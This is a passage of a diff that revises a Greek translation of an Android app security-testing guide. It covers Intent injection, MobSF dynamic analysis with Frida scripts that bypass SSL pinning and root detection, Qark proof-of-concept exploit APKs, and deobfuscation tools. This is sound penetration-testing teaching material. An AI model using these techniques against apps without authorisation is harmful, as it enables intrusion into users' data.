[https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Οι developers συχνά δημιουργούν proxy components όπως activities, services, και broadcast receivers που χειρίζονται αυτά τα Intents και τα περνούν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, κάτι που μπορεί να είναι επικίνδυνο. +Οι προγραμματιστές συχνά δημιουργούν proxy components όπως activities, services και broadcast receivers που χειρίζονται αυτά τα Intents και τα μεταβιβάζουν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, κάτι που μπορεί να είναι επικίνδυνο. -Ο κίνδυνος έγκειται στο ότι επιτρέπεται σε επιτιθέμενους να ενεργοποιούν μη-exported components της εφαρμογής ή να αποκτούν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα χαρακτηριστικό παράδειγμα είναι το `WebView` component που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες Intent injections. +Ο κίνδυνος έγκειται στο να επιτρέπεται σε επιτιθέμενους να ενεργοποιήσουν μη-exported components της εφαρμογής ή να αποκτήσουν πρόσβαση σε ευαίσθητους content providers με την παραπλάνηση αυτών των Intents. Ένα χαρακτηριστικό παράδειγμα είναι το `WebView` component που μετατρέπει URLs σε `Intent` αντικείμενα μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, γεγονός που μπορεί να οδηγήσει σε malicious Intent injections. ### Essential Takeaways - **Intent Injection** είναι παρόμοιο με το Open Redirect στο web. -- Οι εκμεταλλεύσεις περιλαμβάνουν τη μεταβίβαση αντικειμένων `Intent` ως extras, τα οποία μπορούν να ανακατευθυνθούν ώστε να εκτελέσουν μη ασφαλείς ενέργειες. +- Οι εκμεταλλεύσεις περιλαμβάνουν τη μεταβίβαση `Intent` αντικειμένων ως extras, τα οποία μπορούν να αναδρομολογηθούν για να εκτελέσουν μη ασφαλείς ενέργειες. - Μπορεί να εκθέσει μη-exported components και content providers σε επιτιθέμενους. - Η μετατροπή URL σε `Intent` από το `WebView` μπορεί να διευκολύνει ανεπιθύμητες ενέργειες. ### Android Client Side Injections and others -Πιθανόν να γνωρίζετε αυτό το είδος ευπαθειών από τον Web. Πρέπει να είστε ιδιαίτερα προσεκτικοί με αυτές τις ευπάθειες σε μια Android εφαρμογή: +Πιθανόν να γνωρίζετε αυτού του είδους τις ευπάθειες από το Web. Θα πρέπει να είστε ιδιαίτερα προσεκτικοί με αυτές τις ευπάθειες σε μια εφαρμογή Android: -- **SQL Injection:** Όταν χειρίζεστε δυναμικά queries ή Content-Providers, βεβαιωθείτε ότι χρησιμοποιείτε parameterized queries. -- **JavaScript Injection (XSS):** Επαληθεύστε ότι το JavaScript και η υποστήριξη Plugin είναι απενεργοποιημένα για οποιαδήποτε WebViews (απενεργοποιημένα από προεπιλογή). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** Τα WebViews θα πρέπει να έχουν απενεργοποιημένη την πρόσβαση στο file system (ενεργοποιημένη εξ ορισμού) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: Σε αρκετές περιπτώσεις όταν η android εφαρμογή τερματίζει τη συνεδρία το cookie δεν ανακαλείται ή μπορεί ακόμη να αποθηκευτεί στο δίσκο +- **SQL Injection:** Όταν χειρίζεστε δυναμικά queries ή Content-Providers βεβαιωθείτε ότι χρησιμοποιείτε parameterized queries. +- **JavaScript Injection (XSS):** Ελέγξτε ότι η υποστήριξη JavaScript και Plugin είναι απενεργοποιημένη για οποιαδήποτε WebViews (απενεργοποιημένη από προεπιλογή). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** Οι WebViews θα πρέπει να έχουν απενεργοποιημένη την πρόσβαση στο file system (ενεργοποιημένη από προεπιλογή) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: Σε αρκετές περιπτώσεις όταν η εφαρμογή Android τελειώνει τη συνεδρία, το cookie δεν ανακαλείται ή μπορεί ακόμη και να αποθηκευτεί στο δίσκο. - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -605,51 +606,51 @@ This tool could help you managing different tools during the dynamic analysis: [ ![](<../../images/image (866).png>) -**Αξιολόγηση ευπαθειών της εφαρμογής** χρησιμοποιώντας ένα ωραίο web-based frontend. Μπορείτε επίσης να εκτελέσετε δυναμική ανάλυση (αλλά πρέπει να προετοιμάσετε το περιβάλλον). +**Αξιολόγηση ευπαθειών της εφαρμογής** χρησιμοποιώντας ένα ευχάριστο web-based frontend. Μπορείτε επίσης να εκτελέσετε δυναμική ανάλυση (αλλά χρειάζεται να προετοιμάσετε το περιβάλλον). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. +Σημειώστε ότι το MobSF μπορεί να αναλύσει **Android**(apk)**, IOS**(ipa) **and Windows**(apx) εφαρμογές (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον πηγαίο κώδικα μιας **Android** ή μιας **IOS** εφαρμογής (πηγαίνετε στον root φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIPfile), θα μπορεί επίσης να το αναλύσει. -MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. +MobSF επίσης σας επιτρέπει να κάνετε **diff/Compare** των αναλύσεων και να ενσωματώσετε το **VirusTotal** (θα χρειαστεί να ορίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να θέσετε `VT_UPLOAD` σε `False`, τότε το **hash** θα γίνει **upload** αντί για το αρχείο. -### Βοηθούμενη Dynamic analysis με MobSF +### Βοηθούμενη δυναμική ανάλυση με MobSF -Το MobSF μπορεί επίσης να είναι πολύ χρήσιμο για Dynamic analysis σε **Android**, αλλά σε αυτή την περίπτωση θα χρειαστεί να εγκαταστήσετε το MobSF και **genymotion** στο host σας (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +Το **MobSF** μπορεί επίσης να είναι πολύ χρήσιμο για **dynamic analysis** σε **Android**, αλλά σε αυτή την περίπτωση θα χρειαστεί να εγκαταστήσετε το MobSF και το **genymotion** στον host σας (μία VM ή Docker δεν θα λειτουργήσει). _Σημείωση: Πρέπει πρώτα να **ξεκινήσετε μια VM στο genymotion** και μετά να **ξεκινήσετε το MobSF**._\ Ο **MobSF dynamic analyser** μπορεί: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots — πρέπει να πατήσετε όταν θέλετε ένα screenshot ή να πατήσετε "**Exported Activity Tester**" για να λάβετε screenshots όλων των exported activities. +- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, και άλλα δημιουργημένα αρχεία). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots — πρέπει να πατήσετε όταν θέλετε ένα screenshot ή να πατήσετε "**Exported Activity Tester**" για να λάβετε screenshots όλων των exported activities. - Καταγραφή **HTTPS traffic** -- Χρήση **Frida** για να αποκτήσει **runtime** **information** +- Χρήση του **Frida** για απόκτηση **runtime information** -From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. +Από Android **versions > 5**, θα **automatically start Frida** και θα ορίσει global **proxy** ρυθμίσεις για να **capture** traffic. Θα καταγράφει μόνο την κίνηση από την εφαρμογή που δοκιμάζεται. **Frida** -By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ -MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. +Κατά προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida scripts για να **bypass SSL pinning**, **root detection** και **debugger detection** και για να **monitor interesting APIs**.\ +Το MobSF μπορεί επίσης να **invoke exported activities**, να τραβήξει **screenshots** αυτών και να τα **save** στην αναφορά. -To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ -MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). +Για να **start** το dynamic testing πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που παράγονται από τα Frida scripts και το "**Live API Monitor**" για να δείτε όλες τις invocations σε hooked methods, τα arguments που περνάνε και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά το πάτημα του "Start Instrumentation").\ +Το MobSF επίσης σας επιτρέπει να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των Frida scripts στο MobSF χρησιμοποιήστε τη συνάρτηση `send()`). Έχει επίσης **πολλά προεγγεγραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στα "**Frida Live Logs**"). ![](<../../images/image (419).png>) -Moreover, you have some Auxiliary Frida functionalities: +Επιπλέον, έχετε μερικές βοηθητικές λειτουργίες Frida: - **Enumerate Loaded Classes**: Θα εμφανίσει όλες τις loaded classes -- **Capture Strings**: Θα εμφανίσει όλα τα captured strings ενώ χρησιμοποιείτε την εφαρμογή (super noisy) -- **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **δείξει τα 2 strings που συγκρίνονται** και αν το αποτέλεσμα ήταν True ή False. -- **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (π.χ. "java.io.File") και θα εμφανίσει όλες τις methods της κλάσης. -- **Search Class Pattern**: Αναζήτηση classes με βάση pattern -- **Trace Class Methods**: Trace μια ολόκληρη κλάση (δείτε τα inputs και outputs όλων των methods της κλάσης). Θυμηθείτε ότι εξ ορισμού το MobSF traces αρκετές ενδιαφέρουσες Android Api methods. +- **Capture Strings**: Θα εμφανίζει όλες τις captured strings κατά τη χρήση της εφαρμογής (πολύ θορυβώδες) +- **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα δείξει τις 2 strings που συγκρίνονται και αν το αποτέλεσμα ήταν True ή False. +- **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (π.χ. "java.io.File") και θα εμφανίσει όλες τις μεθόδους της κλάσης. +- **Search Class Pattern**: Αναζήτηση κλάσεων με pattern +- **Trace Class Methods**: **Trace** ολόκληρης της κλάσης (δείτε inputs και outputs όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF κάνει trace αρκετές ενδιαφέρουσες Android Api methods. -Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". +Μόλις επιλέξετε το auxiliary module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Intrumentation**" και θα δείτε όλες τις εξόδους στα "**Frida Live Logs**". **Shell** -MobSF also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: +Το MobSF παρέχει επίσης ένα shell με μερικές εντολές **adb**, **MobSF commands**, και κοινές **shell commands** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Μερικές ενδιαφέρουσες εντολές: ```bash help shell ls @@ -658,34 +659,34 @@ exported_activities services receivers ``` -**HTTP tools** +**HTTP εργαλεία** -Όταν η κίνηση http καταγράφεται, μπορείτε να δείτε μια άσχημη προβολή της καταγεγραμμένης κίνησης στο κουμπί "**HTTP(S) Traffic**" στο κάτω μέρος ή μια πιο ευχάριστη προβολή στο πράσινο κουμπί "**Start HTTPTools**". Από τη δεύτερη επιλογή, μπορείτε να **send** τα **captured requests** σε **proxies** όπως το Burp ή το Owasp ZAP.\ -Για να το κάνετε, _power on Burp -->_ _turn off Intercept --> στο MobSB HTTPTools επιλέξτε το request_ --> πατήστε "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Όταν η κίνηση http καταγράφεται μπορείτε να δείτε μια άσχημη προβολή της καταγεγραμμένης κίνησης στο κουμπί "**HTTP(S) Traffic**" ή μια πιο ωραία προβολή στο πράσινο κουμπί "**Start HTTPTools**". Από τη δεύτερη επιλογή, μπορείτε να **στείλετε** τα **καταγεγραμμένα requests** σε **proxies** όπως Burp ή Owasp ZAP.\ +Για να το κάνετε, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> πατήστε "**Send to Fuzzer**" --> _επιλέξτε τη διεύθυνση του proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. +Μόλις ολοκληρώσετε τη δυναμική ανάλυση με MobSF μπορείτε να πατήσετε "**Start Web API Fuzzer**" για να **fuzz http requests** και να αναζητήσετε ευπάθειες. > [!TIP] -> Μετά την εκτέλεση δυναμικής ανάλυσης με MobSF, οι ρυθμίσεις proxy μπορεί να είναι λανθασμένες και να μην μπορείτε να τις διορθώσετε από το GUI. Μπορείτε να διορθώσετε τις ρυθμίσεις proxy κάνοντας: +> Μετά την εκτέλεση δυναμικής ανάλυσης με MobSF οι ρυθμίσεις proxy μπορεί να είναι λανθασμένες και να μην μπορείτε να τις διορθώσετε από το GUI. Μπορείτε να διορθώσετε τις ρυθμίσεις proxy κάνοντας: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Assisted Dynamic Analysis with Inspeckage +### Βοηθημένη δυναμική ανάλυση με Inspeckage Μπορείτε να αποκτήσετε το εργαλείο από [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -Αυτό το εργαλείο θα χρησιμοποιήσει κάποια **Hooks** για να σας ενημερώσει **τι συμβαίνει στην εφαρμογή** ενώ εκτελείτε μια **δυναμική ανάλυση**. +Αυτό το εργαλείο θα χρησιμοποιήσει μερικά **Hooks** για να σας δείξει **τι συμβαίνει στην εφαρμογή** ενώ εκτελείτε μια **δυναμική ανάλυση**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Αυτό είναι ένα **εξαιρετικό εργαλείο για την εκτέλεση στατικής ανάλυσης με GUI** +Αυτό είναι ένα **εξαιρετικό εργαλείο για εκτέλεση στατικής ανάλυσης με GUI** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Αυτό το εργαλείο έχει σχεδιαστεί για να εντοπίζει διάφορες **security related Android application vulnerabilities**, είτε στον **source code** είτε σε **packaged APKs**. Το εργαλείο είναι επίσης **capable of creating a "Proof-of-Concept" deployable APK** και **ADB commands**, για να εκμεταλλευτεί μερικές από τις εντοπισμένες ευπάθειες (Exposed activities, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να κάνετε root τη συσκευή δοκιμών. +Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά διάφορες **ευπάθειες σε Android εφαρμογές που σχετίζονται με την ασφάλεια**, είτε στον **πηγαίο κώδικα** είτε σε **packaged APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργήσει ένα "Proof-of-Concept" deployable APK** και **ADB commands**, για να εκμεταλλευτεί κάποιες από τις βρεθείσες ευπάθειες (Exposed activities, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να κάνετε root στη συσκευή δοκιμών. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -695,7 +696,7 @@ qark --java path/to/specific/java/file.java ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) - Εμφανίζει όλα τα εξαγόμενα αρχεία για εύκολη αναφορά -- Απομεταγλωττίζει αρχεία APK αυτόματα σε μορφή Java και Smali +- Κάνει αυτόματα decompile αρχεία APK σε μορφή Java και Smali - Αναλύει το AndroidManifest.xml για κοινές ευπάθειες και συμπεριφορά - Στατική ανάλυση πηγαίου κώδικα για κοινές ευπάθειες και συμπεριφορά - Πληροφορίες συσκευής @@ -705,9 +706,9 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, και αναλύει αρχεία _.apk_ αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας APKs και εφαρμόζοντας μια σειρά κανόνων για να εντοπίσει αυτές τις ευπάθειες. +Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux και αναλύει _.apk_ αρχεία αναζητώντας ευπάθειες. Το κάνει αποσυμπιέζοντας τα APKs και εφαρμόζοντας μια σειρά κανόνων για να εντοπίσει αυτές τις ευπάθειες. -Όλοι οι κανόνες βρίσκονται σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής μπορεί να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται. +Όλοι οι κανόνες βρίσκονται σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή tester μπορεί να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται. Κατεβάστε τα τελευταία binaries από τη [download page](https://superanalyzer.rocks/download.html) ``` @@ -717,17 +718,17 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn είναι ένα **crossplatform** εργαλείο που βοηθά προγραμματιστές, bugbounty hunters και ethical hackers να πραγματοποιούν [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) σε εφαρμογές για κινητά. +StaCoAn είναι ένα εργαλείο **crossplatform** που βοηθά τους προγραμματιστές, bugbounty hunters και ethical hackers να πραγματοποιούν [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) σε εφαρμογές για κινητά. -Η ιδέα είναι ότι σύρετε και αφήνετε το αρχείο της εφαρμογής σας για κινητά (ένα .apk ή .ipa αρχείο) στην εφαρμογή StaCoAn και αυτή θα δημιουργήσει για εσάς μια οπτική και φορητή αναφορά. Μπορείτε να τροποποιήσετε τις ρυθμίσεις και τα wordlists για να έχετε μια εξατομικευμένη εμπειρία. +Η ιδέα είναι ότι σύρετε και αποθέτετε το αρχείο της εφαρμογής σας (ένα .apk ή .ipa αρχείο) στην εφαρμογή StaCoAn και αυτή θα δημιουργήσει μια οπτική και φορητή αναφορά για εσάς. Μπορείτε να τροποποιήσετε τις ρυθμίσεις και τα wordlists για να αποκτήσετε μια προσαρμοσμένη εμπειρία. -Λήψη[ latest release](https://github.com/vincentcox/StaCoAn/releases): +Κατεβάστε[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -Το AndroBugs Framework είναι ένα Android vulnerability analysis σύστημα που βοηθά προγραμματιστές ή hackers να εντοπίσουν πιθανές security vulnerabilities σε Android εφαρμογές.\ +Το AndroBugs Framework είναι ένα σύστημα ανάλυσης ευπαθειών για Android που βοηθά προγραμματιστές ή hackers να εντοπίσουν πιθανές ευπάθειες ασφαλείας σε εφαρμογές Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -735,11 +736,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** είναι ένα εργαλείο του οποίου ο κύριος στόχος είναι να εντοπίζει και να προειδοποιεί τον χρήστη για πιθανές κακόβουλες συμπεριφορές που μπορεί να αναπτύξει μια Android εφαρμογή. +**Androwarn** είναι ένα εργαλείο του οποίου ο κύριος σκοπός είναι να ανιχνεύει και να ειδοποιεί τον χρήστη για πιθανές κακόβουλες συμπεριφορές που αναπτύσσονται από μια εφαρμογή Android. -Η ανίχνευση πραγματοποιείται με την **static analysis** του Dalvik bytecode της εφαρμογής, που αντιπροσωπεύεται ως **Smali**, χρησιμοποιώντας τη βιβλιοθήκη [`androguard`](https://github.com/androguard/androguard). +Η ανίχνευση πραγματοποιείται μέσω της **static analysis** του Dalvik bytecode της εφαρμογής, που αντιπροσωπεύεται ως **Smali**, με τη βιβλιοθήκη [`androguard`](https://github.com/androguard/androguard). -Το εργαλείο αυτό αναζητά **συνηθισμένες συμπεριφορές των «κακόβουλων» εφαρμογών** όπως: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Αυτό το εργαλείο αναζητά **common behavior of "bad" applications** όπως: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -747,42 +748,42 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** είναι ένα Framework για Mobile Application Reverse engineering και Analysis. Είναι ένα εργαλείο που συγκεντρώνει κοινώς χρησιμοποιούμενα εργαλεία για reverse engineering και ανάλυση mobile εφαρμογών, για να βοηθήσει στη δοκιμή mobile εφαρμογών έναντι των OWASP mobile security threats. Στόχος του είναι να κάνει αυτή την εργασία πιο εύκολη και φιλική για προγραμματιστές mobile εφαρμογών και security professionals. +**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Είναι ένα εργαλείο που συγκεντρώνει κοινώς χρησιμοποιούμενα εργαλεία mobile application reverse engineering και analysis, για να βοηθήσει στο testing κινητών εφαρμογών έναντι των OWASP mobile security threats. Στόχος του είναι να κάνει αυτή τη δουλειά πιο εύκολη και φιλική για τους mobile application developers και security professionals. -Μπορεί να: +It is able to: -- Εξάγει Java και Smali κώδικα χρησιμοποιώντας διάφορα εργαλεία -- Αναλύει APKs χρησιμοποιώντας: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Εξάγει ιδιωτικές πληροφορίες από το APK χρησιμοποιώντας regexps. +- Εξάγει Java και Smali code χρησιμοποιώντας διάφορα εργαλεία +- Αναλύει APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Εξάγει private information από το APK χρησιμοποιώντας regexps. - Αναλύει το Manifest. -- Αναλύει τα εντοπισμένα domains χρησιμοποιώντας: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) και [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Deobfuscate APK μέσω [apk-deguard.com](http://www.apk-deguard.com) +- Αναλύει τα βρεθέντα domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -Χρήσιμο για τον εντοπισμό malware: [https://koodous.com/](https://koodous.com/) +Χρήσιμο για ανίχνευση malware: [https://koodous.com/](https://koodous.com/) ## Obfuscating/Deobfuscating code -Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated. +Σημειώστε ότι ανάλογα με την υπηρεσία και τη ρύθμιση που χρησιμοποιείτε για να obfuscate τον code, τα secrets μπορεί ή να μην καταλήξουν obfuscated. ### [ProGuard]() -From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. +From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Είναι ικανό να βελτιστοποιεί το bytecode καθώς και να εντοπίζει και να αφαιρεί μη χρησιμοποιούμενες εντολές. Το ProGuard είναι free software και διανέμεται υπό τη GNU General Public License, version 2. -ProGuard is distributed as part of the Android SDK and runs when building the application in release mode. +Το ProGuard διανέμεται ως μέρος του Android SDK και τρέχει όταν γίνεται build της εφαρμογής σε release mode. ### [DexGuard](https://www.guardsquare.com/dexguard) -Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Βρείτε έναν βήμα-προς-βήμα οδηγό για να deobfuscate το apk στο [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(From that guide) Last time we checked, the Dexguard mode of operation was: +(From that guide) Την τελευταία φορά που ελέγξαμε, ο τρόπος λειτουργίας του Dexguard ήταν: - φορτώνει ένα resource ως InputStream; -- τροφοδοτεί το αποτέλεσμα σε μια κλάση που κληρονομεί από FilterInputStream για να το decrypt; -- κάνει κάποια άχρηστη obfuscation για να σπαταλήσει μερικά λεπτά από τον reverser; -- τροφοδοτεί το decrypted αποτέλεσμα σε ένα ZipInputStream για να πάρει ένα DEX αρχείο; -- τέλος φορτώνει το προκύπτον DEX ως Resource χρησιμοποιώντας τη μέθοδο `loadDex`. +- περνάει το αποτέλεσμα σε μια κλάση που κληρονομεί από FilterInputStream για να το decrypt; +- κάνει κάποια άσκοπη obfuscation για να χάσει μερικά λεπτά από τον reverser; +- περνάει το decrypted αποτέλεσμα σε ένα ZipInputStream για να πάρει ένα DEX file; +- τελικά φορτώνει το προκύπτον DEX ως Resource χρησιμοποιώντας τη μέθοδο `loadDex`. ### [DeGuard](http://apk-deguard.com) @@ -792,31 +793,31 @@ Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexgu ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API. +Αυτό είναι ένα LLM εργαλείο για να βρει πιθανές security vulnerabilities σε android apps και να deobfuscate τον android app code. Uses Google's Gemini public API. ### [Simplify](https://github.com/CalebFenton/simplify) -It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. +It is a **generic android deobfuscator.** Το Simplify **virtually executes an app** για να κατανοήσει τη συμπεριφορά του και στη συνέχεια **tries to optimize the code** έτσι ώστε να συμπεριφέρεται πανομοιότυπα αλλά να είναι ευκολότερο για έναν άνθρωπο να καταλάβει. Κάθε τύπος optimization είναι απλός και generic, οπότε δεν έχει σημασία ποιος συγκεκριμένος τύπος obfuscation έχει χρησιμοποιηθεί. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. +APKiD gives you information about **how an APK was made**. Αναγνωρίζει πολλούς **compilers**, **packers**, **obfuscators**, και άλλα περίεργα πράγματα. Είναι [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android. ### Manual -[Διαβάστε αυτό το tutorial για να μάθετε μερικά κόλπα στο **πώς να reverse custom obfuscation**](manual-deobfuscation.md) +[Διαβάστε αυτόν τον οδηγό για να μάθετε μερικά κόλπα για **how to reverse custom obfuscation**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b είναι μια Android security virtual machine βασισμένη σε ubuntu-mate που περιλαμβάνει μια συλλογή από τα πιο πρόσφατα framework, tutorials και labs από διάφορους security geeks και researchers για reverse engineering και malware analysis. +AndroL4b is an Android security virtual machine based on ubuntu-mate που περιλαμβάνει συλλογή από τα τελευταία framework, tutorials και labs από διαφορετικούς security geeks και researchers για reverse engineering και malware analysis. ## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Είναι μια εξαιρετική λίστα πόρων -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Σύντομο μάθημα Android +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Γρήγορο μάθημα Android - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - 